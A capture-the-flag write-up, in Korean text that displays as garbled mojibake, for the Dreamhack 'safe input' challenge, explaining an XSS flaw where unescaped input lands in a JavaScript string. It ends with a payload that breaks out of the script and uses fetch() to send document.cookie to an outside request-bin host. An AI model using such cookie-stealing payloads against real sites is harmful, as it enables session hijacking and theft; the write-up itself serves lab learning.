1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/1671

 

safe input

Description It's so safe that it can't be seen.

dreamhack.io

2. ํ•ด๊ฒฐ ๊ณผ์ •

๋ฌธ์ œ ํŽ˜์ด์ง€์— ์ ‘์†ํ•ด๋ณด๋ฉด /test๋กœ ์—ฐ๊ฒฐ๋œ๋‹ค. 

 

๋ฌธ์ œ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์•„๋ณด๋ฉด report์™€ test ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค. 

 

๋จผ์ € app.py ์ฝ”๋“œ๋Š” ์…€๋ ˆ๋‹ˆ์›€์„ ํ†ตํ•ด ํฌ๋กฌ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์ฝ”๋“œ์ด๋‹ค.

driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(f"http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
sleep(1)

 

 

๋˜ํ•œ 2๊ฐ€์ง€์˜ ๋ผ์šฐํ„ฐ๊ฐ€ ์กด์žฌํ•œ๋‹ค. 

  • /test (GET): text ๊ฐ’์„ ๊ฐ€์ ธ์™€์„œ test.html์— ์ „๋‹ฌ
  • /report :  form์—์„œ text ๊ฐ’์„ ๋ฐ›์•„์„œ access_page() ํ•จ์ˆ˜ ์‹คํ–‰ (flag ์ฟ ํ‚ค์™€ ํ•จ๊ป˜) -> ์„ฑ๊ณต/์‹คํŒจ ์—ฌ๋ถ€๋ฅผ ๋ฉ”์‹œ์ง€๋กœ ํ‘œ์‹œ

์‹ค์ œ๋กœ text์— 1234๋ฅผ ์ž…๋ ฅํ•ด์„œ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ๊ทธ๋Œ€๋กœ ์ž…๋ ฅ๊ฐ’์ด ์‚ฝ์ž…๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

๋‹ค์Œ์œผ๋กœ report ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜์—ฌ form์— ์•„๋ฌด๊ฐ’์„ ์ž…๋ ฅํ•ด๋ณด์•˜๋”๋‹ˆ fail ์ด ๋–ด๋‹ค. 

 

์ฆ‰ , ์ •๋ฆฌํ•ด๋ณด๋ฉด 

 

  1. ์‚ฌ์šฉ์ž๊ฐ€ /report ํŽ˜์ด์ง€์—์„œ text๊ฐ’ ์ž…๋ ฅ
  2. ์„œ๋ฒ„์˜ Chrome์ด /test?text= ~~ ํŽ˜์ด์ง€ ๋ฐฉ๋ฌธ
  3. ์ด๋•Œ Chrome์€ FLAG๋ผ๋Š” ๋น„๋ฐ€๊ฐ’์„ ์ฟ ํ‚ค๋กœ ๊ฐ€์ง€๊ณ  ์žˆ์Œ

๋”ฐ๋ผ์„œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ฟ ํ‚ค๊ฐ’์„ ํƒˆ์ทจํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

 

 

์ด๋•Œ test.html์„ ๋ณด๋ฉด ์‚ฌ์šฉ์ž ์ž…๋ ฅ(test)์ด JavaScript ๋ฌธ์ž์—ด์— ์ง์ ‘ ์‚ฝ์ž…๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

์ฆ‰, xss ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค.

 

<script>
const contentElement = document.getElementById('content');
const safeInput = "Test: " + `{{test|safe}}`;
</script>

 

๋”ฐ๋ผ์„œ ์ž…๋ ฅ๊ฐ’ ํ˜•์‹์„ ๋งž์ถฐ์„œ ๋‹ซ์•„์ฃผ๊ณ  fetch()๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฟ ํ‚ค๊ฐ’์„ ์š”์ฒญํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ ๊ตฌ๋ฌธ์„ ๋„ฃ์–ด์ค„ ๊ฒƒ์ด๋‹ค.

 

"}); </script><script>fetch('https://yudvndj.request.dreamhack.games?flag=' + document.cookie);//

 

 

ํ”Œ๋ž˜๊ทธ ํš๋“ ์„ฑ๊ณต ! ><

mnzy๐ŸŒฑ
-->